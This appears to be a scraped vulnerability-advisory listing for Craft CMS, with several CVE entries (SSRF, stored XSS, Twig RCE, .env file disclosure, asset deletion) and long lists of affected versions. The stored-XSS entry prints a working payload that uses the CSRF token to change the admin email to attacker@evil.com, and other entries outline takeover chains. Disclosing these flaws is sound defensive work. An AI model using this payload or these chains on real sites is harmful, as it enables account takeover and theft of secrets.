
            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.15


          5.9.22

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-50283 GHSA-qh45-9g5p-m2v4 Jul 02, 2026

Craft CMS: Unauthorized Deletion of Source Assets During File Replacement

Medium

Network Low Low None

We have identified an authorization issue in Craft CMS AssetsController::actionReplaceFile that can delete a source asset without source delete permission by supplying both assetId and sourceAssetId.

Description

Craft CMS’s craft\\controllers\\AssetsController::actionReplaceFile() supports replacing a target asset file using another existing asset as the source. The action loads:

$assetToReplace from assetId
$sourceAsset from sourceAssetId

It then enforces replace permissions using ($assetToReplace ?: $sourceAsset). When both IDs are provided, this expression resolves to the target asset so no permission check is performed against the source asset volume.

$this->requireVolumePermissionByAsset('replaceFiles', $assetToReplace ?: $sourceAsset);
$this->requirePeerVolumePermissionByAsset('replacePeerFiles', $assetToReplace ?: $sourceAsset);

src/controllers/AssetsController.php:L433-L434

In the branch where both assets are present, Craft copies the source file into the target and then deletes the source asset. There is no check for deleteAssets:<sourceVolumeUid> or deletePeerAssets:<sourceVolumeUid> for the source asset before deletion.

$assets->replaceAssetFile($assetToReplace, $tempPath, $assetToReplace->getFilename(), $sourceAsset->getMimeType());
Craft::$app->getElements()->deleteElement($sourceAsset);

src/controllers/AssetsController.php:L462-L463

Impact

An authenticated user who can replace files in one volume can delete assets in another volume where they do not have delete permission, as long as they can obtain a sourceAssetId. This can lead to unauthorized asset deletion, broken content references, and data loss.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 402 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.17.14


          5.9.21

References

Updated Jul 02, 2026 · Source: OSV.dev

CVE-2026-55791 GHSA-c55v-343g-5xff Jun 19, 2026

Craft CMS: Blind SSRF and Arbitrary JavaScript Injection via Host Header Poisoning in actionResourceJs

Critical

Network Low None None

1. Overview

Craft CMS is vulnerable to Server-Side Request Forgery (SSRF) and Arbitrary JavaScript Injection through the /actions/app/resource-js endpoint. By exploiting the default permissive trustedHosts configuration, an attacker can poison the Host or X-Forwarded-Host header to manipulate the application’s $baseUrl. This bypasses the endpoint’s internal URL validation, forcing the backend Guzzle client to fetch a malicious payload from an attacker-controlled server and reflect it to the client with a Content-Type: application/javascript header.

2. Vulnerability Mechanism (Root Cause) The vulnerability manifests when assetManager.cacheSourcePaths is set to false. The attack chain relies on three structural flaws and insecure defaults:

A. Default Proxy Trust (trustedHosts): Craft’s default GeneralConfig::$trustedHosts is set to ['any']. This allows an attacker to bypass front-end web server (Nginx/Apache) strict Host header validations by simply injecting an X-Forwarded-Host header. Yii2 will parse this and globally set $baseUrl to the attacker's domain.
B. Insecure HTTP Client (actionResourceJs): In AppController::actionResourceJs(), the str_starts_with($url, $baseUrl) validation is bypassed because $baseUrl is already poisoned by the attacker. The core then uses Craft::createGuzzleClient()->get($url). Unlike the GraphQL Asset fetcher, this Guzzle instance defaults to ALLOW_REDIRECTS => true.
C. Forced JS Content-Type: The response fetched from the attacker's server is blindly returned to the user via $this->asRaw() with the header Content-Type: application/javascript.

3. Attack Scenario & Impact (Proof of Exploitability) This endpoint acts as a proxy, taking remote, unverified content and serving it as valid JavaScript. While the direct SSRF allows for internal network probing, the most devastating impact occurs when caching layers are involved.

If the Craft CMS instance is behind a caching layer, this vulnerability leads directly to Web Cache Poisoning:

An unauthenticated attacker sends the poisoned request.
The caching layer caches the malicious JavaScript response for the legitimate /actions/app/resource-js URI.
When an authenticated Administrator logs into the Control Panel, their browser loads the poisoned cached JavaScript (Stored XSS).
The malicious script extracts window.Craft.csrfTokenValue and silently sends a POST request to /admin/actions/plugins/install-plugin, achieving 1-Click Remote Code Execution (RCE) via Session Riding.

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 408 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9


            4.0.0


            4.0.0-RC1


            4.0.0-RC2


            4.0.0-RC3


            4.0.0.1


            4.0.1


            4.0.2


            4.0.3


            4.0.4


            4.0.5


            4.0.5.1


            4.0.5.2


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


            4.2.0.2


            4.2.1


            4.2.1.1


            4.2.2


            4.2.3


            4.2.4


            4.2.5


            4.2.5.1


            4.2.5.2


            4.2.6


            4.2.7


            4.2.8


            4.3.0


            4.3.1


            4.3.10


            4.3.11


            4.3.2


            4.3.2.1


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.6.1


            4.3.7


            4.3.7.1


            4.3.8


            4.3.8.1


            4.3.8.2


            4.3.9


            4.4.0


            4.4.0-beta.1


            4.4.0-beta.2


            4.4.0-beta.3


            4.4.0-beta.4


            4.4.0-beta.5


            4.4.0-beta.6


            4.4.0-beta.7


            4.4.1


            4.4.10


            4.4.10.1


            4.4.11


            4.4.12


            4.4.13


            4.4.14


            4.4.15


            4.4.16


            4.4.16.1


            4.4.17


            4.4.2


            4.4.3


            4.4.4


            4.4.5


            4.4.6


            4.4.6.1


            4.4.7


            4.4.7.1


            4.4.8


            4.4.9


            4.5.0


            4.5.0-beta.1


            4.5.0-beta.2


            4.5.1


            4.5.10


            4.5.11


            4.5.11.1


            4.5.12


            4.5.13


            4.5.14


            4.5.15


            4.5.2


            4.5.3


            4.5.4


            4.5.5


            4.5.6


            4.5.6.1


            4.5.7


            4.5.8


            4.5.9


            4.6.0


            4.6.0-RC1


            4.6.1


            4.7.0


            4.7.1


            4.7.2


            4.7.2.1


            4.7.3


            4.7.4


            4.8.0


            4.8.1


            4.8.10


            4.8.11


            4.8.2


            4.8.3


            4.8.4


            4.8.5


            4.8.6


            4.8.7


            4.8.8


            4.8.9


            4.9.0


            4.9.1


            4.9.2


            4.9.3


            4.9.4


            4.9.5


            4.9.6


            4.9.7

Fixed in


          4.18


          5.10

References

Updated Jun 19, 2026 · Source: OSV.dev

Mar 26, 2026

5.9.17 patch

14 CVEs

CVE-2026-55794 GHSA-f74w-488g-8x5r Jul 06, 2026

Craft CMS: Potential authenticated Remote Code Execution via referrer redirect

High

Network Low Low None

Requirements:

Control panel access
Permissions to edit an entry

Details

Control panel users with the ability to edit entries can execute unsandboxed Twig code via the HTTP Referrer header.

The issue happens when a user is saving entries. Strings for a signed redirect URL are being compiled as a Twig template via renderObjectTemplate(), and while a sandboxed alternative already exists (renderSandboxedObjectTemplate()), it is not used in this case. This signed URL can be specified by users, as it is reflected in the “Referer” HTTP request header, which is under attacker control.

This has been fixed in Craft 5.10.0. Affected users should update to that version or higher to get the fix.

Resources

https://github.com/craftcms/cms/pull/18680

Affected versions


          5.9.0


          5.9.1


          5.9.10


          5.9.11


          5.9.12


          5.9.13


          5.9.14


          5.9.15


          5.9.16


          5.9.17


          5.9.18


          5.9.19

+ 12 more


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.10.0

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55793 GHSA-xrqc-p465-2xvg Jul 06, 2026

Craft CMS: Stored XSS via Structure entry title in table view

Medium

Network Low Low

Stored XSS via Structure entry title in table view

Summary

An Author-level control panel user can store a JavaScript payload in an entry title. When an admin, or any control panel user with saveEntries for the same Structure section, drags another entry under the poisoned entry in table view, the payload executes in the victim’s session.

The issue is exploitable because the title is escaped into data-title by the server, decoded again by the browser, read with jQuery .data('title'), and then concatenated into a new HTML string without attribute escaping.

Execution was verified with alert(document.domain). Impact was verified against an elevated admin session by changing the admin user’s email through users/save-user, then using the password-reset flow to take over the account.

Preconditions

Attacker has createEntries + saveEntries on a Structure-type section (Author-style CP account; no admin permission required).
Victim has saveEntries on the same section. Craft only renders drag handles when structureEditable is true, which requires this permission, so any admin qualifies.
Section must be type Structure. Channel and Single sections are unaffected.
Poisoned entry must have no children at the time of the drag (fires on the 0-to-1 descendant transition).
For the email-change account-takeover path, the victim must currently have an elevated session. The stored XSS itself does not require elevation.

Root cause

ElementTableSorter.js lines 643-652:

const ancestorTitle = this._updateAncestors._$ancestor.data('title');
$(
  '<button … aria-label="' +
    Craft.t('app', 'Show {title} children', {title: ancestorTitle}) +
  '"></button>'
).insertAfter(…);

Craft.t with a {title} token calls _parseToken, reaches case 'none': return arg (Craft.js:193-194), and returns the title verbatim. The result is handed to jQuery's $() and parsed as HTML.

The server-side template correctly encodes the entry title into data-title, but the browser decodes that attribute before jQuery returns it from .data('title'). At that point the value is attacker-controlled HTML, and it is inserted into the aria-label attribute without Craft.escapeHtml().

Steps to reproduce

Plant (attacker - Author account):

python3 poc.py --url http://target --cp admin \
  --user author@example.com --pass secret --section mySection

Trigger (victim - any control panel user with saveEntries, e.g. admin):

Open the section index in Table view.
Drag the "Drag me" entry and drop it as the first child of the poisoned entry.

alert(document.domain) fires in the victim’s session.

Impact payload tested in an elevated admin session (249 chars, within the 255-char title limit):

"><img src=x onerror="fetch(Craft.actionUrl+'users/save-user',{method:'POST',body:Craft.csrfTokenName+'='+encodeURIComponent(Craft.csrfTokenValue)+'&userId=1&email=attacker%40evil.com',headers:{'Content-Type':'application/x-www-form-urlencoded'}})">

When triggered during an elevated admin session, the admin’s email is changed to the attacker-controlled address. The attacker can then request a password reset and receive the reset link.

Impact

Stored XSS in the control panel from an Author-level account. The payload runs as the victim control panel user and can use Craft.csrfTokenName / Craft.csrfTokenValue to send same-origin action requests as that user.

In my test environment, triggering the payload in an elevated admin session allowed Author-to-admin account takeover via admin email change and password reset.

Mitigating factors

Requires an existing control panel account (Author role minimum).
Victim must perform a drag operation, not just visit the page.
The demonstrated email-change takeover requires the victim’s session to be elevated at trigger time.

Resources

https://github.com/craftcms/cms/commit/162321e899cc97517fb6f5a02b5528f549d0c6cc

Affected versions


          5.0.0


          5.0.0-RC1


          5.0.1


          5.0.2


          5.0.3


          5.0.4


          5.0.5


          5.0.6


          5.1.0


          5.1.1


          5.1.10


          5.1.2

+ 159 more


            5.1.3


            5.1.4


            5.1.5


            5.1.6


            5.1.7


            5.1.8


            5.1.9


            5.2.0


            5.2.0-beta.1


            5.2.0-beta.2


            5.2.0-beta.3


            5.2.0-beta.4


            5.2.0-beta.5


            5.2.0-beta.6


            5.2.1


            5.2.10


            5.2.2


            5.2.3


            5.2.4


            5.2.4.1


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.2.9


            5.3.0


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.0.1


            5.3.0.2


            5.3.0.3


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.3.5


            5.3.6


            5.4.0


            5.4.0.1


            5.4.1


            5.4.10


            5.4.10.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.5.1


            5.4.6


            5.4.7


            5.4.7.1


            5.4.8


            5.4.9


            5.5.0


            5.5.0.1


            5.5.1


            5.5.1.1


            5.5.10


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.6.1


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0.1


            5.6.0.2


            5.6.1


            5.6.10


            5.6.10.1


            5.6.10.2


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.17


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.5.1


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.6.9.1


            5.7.0


            5.7.0-beta.1


            5.7.0-beta.2


            5.7.1


            5.7.1.1


            5.7.10


            5.7.11


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.8.1


            5.7.8.2


            5.7.9


            5.8.0


            5.8.1


            5.8.10


            5.8.11


            5.8.12


            5.8.13


            5.8.13.1


            5.8.13.2


            5.8.14


            5.8.15


            5.8.16


            5.8.17


            5.8.18


            5.8.19


            5.8.2


            5.8.20


            5.8.21


            5.8.22


            5.8.23


            5.8.3


            5.8.4


            5.8.5


            5.8.6


            5.8.7


            5.8.8


            5.8.9


            5.9.0


            5.9.0-beta.1


            5.9.0-beta.2


            5.9.1


            5.9.10


            5.9.11


            5.9.12


            5.9.13


            5.9.14


            5.9.15


            5.9.16


            5.9.17


            5.9.18


            5.9.19


            5.9.2


            5.9.20


            5.9.21


            5.9.22


            5.9.23


            5.9.3


            5.9.4


            5.9.5


            5.9.6


            5.9.7


            5.9.8


            5.9.9

Fixed in


          5.9.53

References

Updated Jul 06, 2026 · Source: OSV.dev

CVE-2026-55792 GHSA-287w-mxq6-x2cp Jul 06, 2026

Craft CMS: Sensitive File Disclosure / Server-Side File Read

Medium

Network Low Low None

The dataUrl() Twig function is included in Craft’s Twig sandbox allowlist, allowing any control panel user granted the utility:system-messages permission to embed a file-reading payload into system email templates. When those emails are sent, the server reads the target file and returns its contents as a base64-encoded data URL embedded in the email body. The .env file, which typically contains the database password, CRAFT_SECURITY_KEY, and third-party API keys, passes all of Craft’s existing dataUrl() protection checks and is fully exfiltrated. Obtaining CRAFT_SECURITY_KEY enables an attacker to forge session tokens and escalate to full admin account takeover.

Details

Affected versions: Craft CMS 4.x, 5.x (confirmed against 5.9.19)

The vulnerability arises from the combination of three code facts:

dataUrl is in the Twig sandbox allowlist src/config/twig-sandbox.php, line 115: php'allowedFunctions' => [ ... 'dataUrl', // ← allows file reading inside sandboxed templates ... ],
Html::dataUrl() does not block dotfiles src/helpers/Html.php, lines 1065–1090. The function applies four checks before reading a file:

Must be within the project root .env is at the root Must not be in a system directory (config/, vendor/, storage/, templates/) .env is not Must not be a .php file .env has no extension File must exist .env always exists in a Craft install

There is no check for dotfiles or specifically for .env. All four checks pass silently and file_get_contents() is called, with the result returned as data:text/plain;base64,....

System message body is rendered via renderSandboxedString() src/mail/Mailer.php, lines 181–183: php$subject = $view->renderSandboxedString($systemMessage->subject, $variables); $textBody = $view->renderSandboxedString($systemMessage->body, $variables); $htmlBody = $view->renderSandboxedString($systemMessage->body, $variables, escapeHtml: true);

Any body content saved to a system message is executed inside the Twig sandbox when the email renders. Because dataUrl is in allowedFunctions, the sandbox policy permits its execution without restriction.

Access control: The utility:system-messages permission is a non-admin CP permission grantable to any user group via Settings > Users > Groups. It is not restricted to admins.

Impact

Vulnerability type: Sensitive File Disclosure / Server-Side File Read Who is impacted: Any Craft CMS 4.x or 5.x installation where at least one non-admin control panel user has been granted the utility:system-messages permission, and email sending is configured.

Resources:

https://github.com/craftcms/cms/pull/18559

Affected versions


          4.0.0


          4.0.0-RC1


          4.0.0-RC2


          4.0.0-RC3


          4.0.0.1


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          4.0.5


          4.0.5.1


          4.0.5.2

+ 408 more


            4.0.6


            4.1.0


            4.1.0.1


            4.1.0.2


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.4.1


            4.10.0


            4.10.0-beta.1


            4.10.0-beta.2


            4.10.1


            4.10.2


            4.10.3


            4.10.4


            4.10.5


            4.10.6


            4.10.7


            4.10.8


            4.11.0


            4.11.0.1


            4.11.0.2


            4.11.1


            4.11.2


            4.11.3


            4.11.4


            4.11.5


            4.12.0


            4.12.1


            4.12.2


            4.12.3


            4.12.4


            4.12.4.1


            4.12.5


            4.12.6


            4.12.6.1


            4.12.7


            4.12.8


            4.12.9


            4.13.0


            4.13.1


            4.13.1.1


            4.13.10


            4.13.2


            4.13.3


            4.13.4


            4.13.5


            4.13.6


            4.13.7


            4.13.8


            4.13.9


            4.14.0


            4.14.0.1


            4.14.0.2


            4.14.1


            4.14.10


            4.14.11


            4.14.11.1


            4.14.12


            4.14.13


            4.14.14


            4.14.15


            4.14.2


            4.14.3


            4.14.4


            4.14.5


            4.14.6


            4.14.7


            4.14.8


            4.14.8.1


            4.14.9


            4.15.0


            4.15.0-beta.1


            4.15.0-beta.2


            4.15.0.1


            4.15.0.2


            4.15.1


            4.15.2


            4.15.3


            4.15.4


            4.15.5


            4.15.6


            4.15.6.1


            4.15.6.2


            4.15.7


            4.16.0


            4.16.1


            4.16.10


            4.16.11


            4.16.12


            4.16.13


            4.16.14


            4.16.15


            4.16.16


            4.16.17


            4.16.18


            4.16.19


            4.16.2


            4.16.3


            4.16.4


            4.16.5


            4.16.6


            4.16.6.1


            4.16.7


            4.16.8


            4.16.9


            4.16.9.1


            4.17.0


            4.17.0-beta.1


            4.17.0-beta.2


            4.17.1


            4.17.10


            4.17.11


            4.17.12


            4.17.13


            4.17.13.1


            4.17.14


            4.17.15


            4.17.16


            4.17.2


            4.17.3


            4.17.4


            4.17.5


            4.17.6


            4.17.7


            4.17.8


            4.17.9


            4.2.0


            4.2.0.1


